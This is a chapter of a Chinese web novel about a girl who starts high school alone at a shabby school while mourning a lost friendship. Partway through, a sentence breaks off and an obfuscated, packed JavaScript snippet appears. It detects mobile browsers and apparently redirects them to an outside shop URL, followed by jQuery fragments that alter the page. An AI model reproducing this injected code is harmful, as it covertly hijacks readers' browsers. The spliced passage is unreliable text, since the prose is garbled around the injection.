第五卷·第二十六章一个人的高中
九月的天空是高远的、干净的蓝，像一块刚刚熨过的、上好的绸缎，一丝云也没有。风很轻，带着夏天末尾的余热，和一点早秋的、干燥的凉意。梧桐叶还是绿的，但绿得有些疲倦了，边缘开始微微发黄，在阳光下一闪一闪的，像无数枚小小的、疲倦的眼睛。
五中在城西，很偏，公交车要坐四十分钟，中间还要转一次车。学校不大，只有两栋教学楼，一栋旧的，灰扑扑的，墙皮有些剥落；一栋新的，白得刺眼，但还没完全建好，脚手架还没拆，像一只巨大的、未完工的、沉默的怪兽。操场很小，塑胶跑道已经褪色了，露出底下粗糙的水泥。篮球架是锈的，篮网破了，在风里无力地飘着。
秋蒽蒽站在校门口，看着那块褪色的、字迹模糊的校牌。五中。两个字，黑色的，加粗的，但漆已经掉了不少，露出底下灰白的底色，像一张疲惫的、营养不良的脸。她看了很久，然后走进去。
报道处设在旧教学楼的一楼大厅，几张破旧的桌子，几个老师模样的中年男女，在低头登记，或者不耐烦地回答家长的问题。大厅里很吵，学生，家长，挤成一团，空气里有汗味、灰尘味和廉价打印纸的油墨味。秋蒽蒽背着书包，挤进去，找到高一年级的登记处。
老师抬起头，看了她一眼，眼神很平淡，像在打量一件普通的、没有特点的物品。
“名字？”
“秋蒽蒽。”
老师低头在名单上找，手指划过那些密密麻麻的名字，然后停住。
“高一（7）班，”老师说，递给她一张纸条，“教室在二楼，最里面那间。先去教室，班主任会安排。”
秋蒽蒽接过纸条，上面是打印的班级和姓名，字迹很模糊，纸很薄，边缘有些毛糙。她捏着纸条，挤出人群，走上楼梯。楼梯很窄，很暗，墙上有各种涂鸦，幼稚的，粗俗的，还有几个歪歪扭扭的“爱”字，旁边画着心，但心是裂开的，像某种无言的讽刺。
二楼走廊很长，很空，只有她一个人的脚步声，在空荡的楼道里回响。两边是教室，门都关着，窗户蒙着厚厚的灰尘，看不清里面。最里面那间，门上贴着“高一（7）班”的纸条，是手写的，字迹歪歪扭扭，墨迹很淡，像快要消失了。
她推开门。教室里已经坐了不少人，很吵，男生在打闹，女生在聊天，笑声，叫声，手机铃声，混成一片喧嚷的海。空气里有灰尘、汗水和某种廉价香水的混合气味，黏稠，闷人。她站在门口，停顿了几秒，然后走进去，在最后一排靠窗的空位坐下。
座位很旧，桌面上有各种涂鸦和刻痕——有名字，有日期，有脏话，有歪歪扭扭的公式，还有几个模糊的、褪了色的爱心。她拿出纸巾，擦了擦桌面。灰尘很厚，擦了半天，才露出底下木头本来的颜色，是深色的，有很多细小的划痕，像一张饱经风霜的、沉默的脸。
她放下书包，从里面拿出那本深绿色的笔记本，放在桌上。然后抬起头，看向窗外。
窗外是操场，很小，很旧，塑胶跑道褪色了，篮球架是锈的。远处是那栋新的教学楼，脚手架还没拆，在阳光下投出长长的、杂乱的影子。更远处，是城市的轮廓，灰蒙蒙的，看不真切，像一幅褪了色的、粗糙的素描。
一切都陌生，一切都遥远。陌生到让她心慌，遥远到让她觉得，那个有梧桐树、有老桂树、有外婆的糖藕、有顾雨落的陪伴、有那些“一起考一中”的约定的家乡，那个湿漉漉的、黏稠的、痛苦的、但至少还有一点点光的十五岁，已经隔了几个世纪，隔了几重山水，隔了这场漫长的、没有尽头的、名为“成长”的流放。
班主任进来了，是个中年男人，个子不高，微微发福，戴一副黑框眼镜，表情很严肃，但眼神里有种掩饰不住的疲惫。他走上讲台，敲了敲桌子，教室里渐渐安静下来。
“我是你们的班主任，姓王，”他说，声音很洪亮，但洪亮底下有种公事公办的冷漠，“欢迎大家来到五中，来到高一（7）班。高中三年，希望大家好好学习，遵守纪律，别惹事。别的，我就不多说了，你们自己心里有数。”
有数。有什么数？秋蒽蒽不知道。她只是看着王老师，看着他镜片后那双疲惫的、没有温度的眼睛，看着讲台上那块蒙尘的黑板，看着教室里这些陌生的、喧闹的、或兴奋或麻木的脸，看着窗外那栋未完工的、沉默的教学楼，和那片灰蒙蒙的、遥远的城市轮廓。
然后她低下头，翻开那本深绿色的笔记本。笔记本已经写满了，但她在最后一页的背面，用铅笔，很轻地，写下一行字：
今天，高中开始了。
在五中，高一（7）班，最后一排靠窗的座位。
窗外是陌生的操场，陌生的教学楼，陌生的城市。
教室里是陌生的老师，陌生的同学，陌生的气味。
一切都陌生，一切都遥远。
像一场醒不来的、荒凉的梦。
而家乡，
梧桐树，老桂树，外婆的糖藕，顾雨落的陪伴，
那些“一起考一中”的约定，那些“明天见”的日子，
那些图书馆的午后，那些操场的黄昏，那些传过的纸条，那些拉过的钩，
都远了，淡了，像一场下了三年、但终于停了的雨，
只剩下这本笔记本，和里面越来越淡的薄荷味，
和一个空荡荡的、漏着风的、湿漉漉的角落。
但日子还得过。
高中还得上。
未来还得走。
所以，
从这里开始吧。
从这个陌生的座位，这个陌生的教室，这个陌生的高中，
从这个醒不来的、荒凉的梦，
开始。
写完后，她合上笔记本，抱在怀里。封面的深绿色在透过窗户的、薄薄的阳光里，泛着陈旧的、温和的光，像一片安静的、深沉的、但已经褪了色的森林。森林里，曾经有过光，有过声音，有过温度，有过一个叫顾雨落的女孩，和那些永远也回不去的、十五岁的春天。
但现在，森林空了，光了，静了。只剩下这场醒不来的、荒凉的梦，和这个不得不继续的、十六岁的秋天。
上课铃响了。很刺耳，很突兀，在安静的教室里炸开，把那些喧闹、那些聊天、那些打闹，都切断了。学生们不情不愿地回到座位，教室里渐渐安静下来，但那种安静是表面的，底下涌动着各种细小的、不安的躁动——翻书的声音，咳嗽的声音，笔掉在地上的声音，还有压抑的、细微的说话声。
第一节课是语文。老师是个年轻的女人，很瘦，穿着职业套装，但套装有些旧了，颜色也暗淡。她走上讲台，开始讲课，声音很平，很单调，像在念一份早已烂熟于心的、但毫无意义的文稿。她讲文言文，讲实词虚词，讲句式结构，讲得很快，很赶，像在完成某种必须完成的任务。
秋蒽蒽听着，但听不进去。那些字，那些词，那些句子，在耳边飘过，像风，不留痕迹。她看着窗外，看着那片灰蒙蒙的天空，看着那栋未完工的教学楼，看着操场上几个在打篮球的男生，动作很笨拙，球经常投不进去，但笑得很开心，很放肆。
她想起一中的教学楼，应该是崭新的，明亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552864|204347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的，有宽敞的教室，有先进的多媒体，有藏书丰富的图书馆，有穿着整齐校服、表情认真专注的学生。想起顾雨落，应该坐在那样的教室里，听最好的老师讲课，和最好的同学讨论，为那个“一起考一中”的约定，努力着，奋斗着，哪怕那个约定早就碎了，哪怕那个“一起”早就成了“一个人”。
但顾雨落不在一中。她在四川，在成都，在某个陌生的高中，某个陌生的教室，某个陌生的座位，听着陌生的课，看着陌生的雨，想着那个再也回不去的家乡，和那个再也见不到的她。
而秋蒽蒽，在五中，在这个最后一排靠窗的座位，在这个陌生的、荒凉的梦里，听着陌生的课，看着陌生的天，想着那个再也回不去的十五岁，和那个再也见不到的她。
她们，就这样，被命运粗暴地、不容置疑地，抛进了两个完全不同的、但一样陌生的、荒凉的轨道，朝着两个完全不同的、但一样未知的、沉重的未来，头也不回地，越走越远，直到再也看不见彼此，直到那些约定、那些陪伴、那些“明天见”、那些拉钩的瞬间，都成了遥远的、模糊的、褪了色的记忆，成了这场醒不来的、荒凉的梦里，一个可有可无的、但一想起来就疼的、湿漉漉的背景。
下课铃响了。很刺耳，很突兀，又把那些表面的安静切断了。学生们涌出教室，涌向走廊，涌向操场，涌向小卖部。笑声，叫声，打闹声，混成一片喧嚷的海，把教室填满，把走廊填满，把整个校园填满。
但秋蒽蒽没动。她只是坐在座位上，看着窗外。阳光亮了些，照在那栋未完工的教学楼上，把脚手架投下的影子拉得很长，很长，像某种诡异的、沉默的图腾。操场上，那几个打篮球的男生还在，汗流浃背，但笑得很开心，很放肆，像这个世界没有任何烦恼，像这个高中是天堂，是乐园，是青春最盛大、最热闹的狂欢。
而她，坐在这个最后一排靠窗的座位，在这个陌生的、荒凉的梦里，看着这场狂欢，像一个局外人，像一个旁观者，像一个误入此地的、沉默的、悲伤的幽灵。
然后，很慢地，很小心地，她把那本深绿色的笔记本收进书包，拉上拉链。动作很轻，很慢，像在进行某种告别仪式——告别那个有光的森林，告别那些回不去的春天，告别那个叫顾雨落的女孩，告别那些永远也实现不了的约定，告别那个湿漉漉的、黏稠的、痛苦的十五岁。
然后，站起来，背起书包，走出教室。
走廊里很吵，人很多，挤来挤去。她被推着，挤着，身不由己地往前走。空气里有汗味，灰尘味，廉价香水的味道，还有各种食物的味道——辣条的，泡面的，烤肠的，混在一起，黏稠，闷人。
她低着头，穿过人群，走下楼梯，走出教学楼，走到操场上。阳光很亮，很刺眼，照在褪色的塑胶跑道上，反射出刺眼的白光。风很轻，吹在脸上，带着早秋的、干燥的凉意。
她抬起头，看向天空。天空是高远的、干净的蓝，像一块刚刚熨过的、上好的绸缎，一丝云也没有。很美，很广阔，很自由。
但她的心里，是空的，是荒的，是湿漉漉的，是一场醒不来的、荒凉的梦，和一场下了三年、但终于停了、却把世界彻底淹没了的雨。
但日子还得过。高中还得上。未来还得走。
所以，从这里开始吧。
从这个陌生的操场，这个陌生的阳光，这个陌生的秋天，这个醒不来的、荒凉的梦，开始。
走向那个没有顾雨落、没有一中、没有外婆的糖藕、但也许还有一点点光的、未知的、沉重的、不得不继续的、十六岁的未来。
一个人。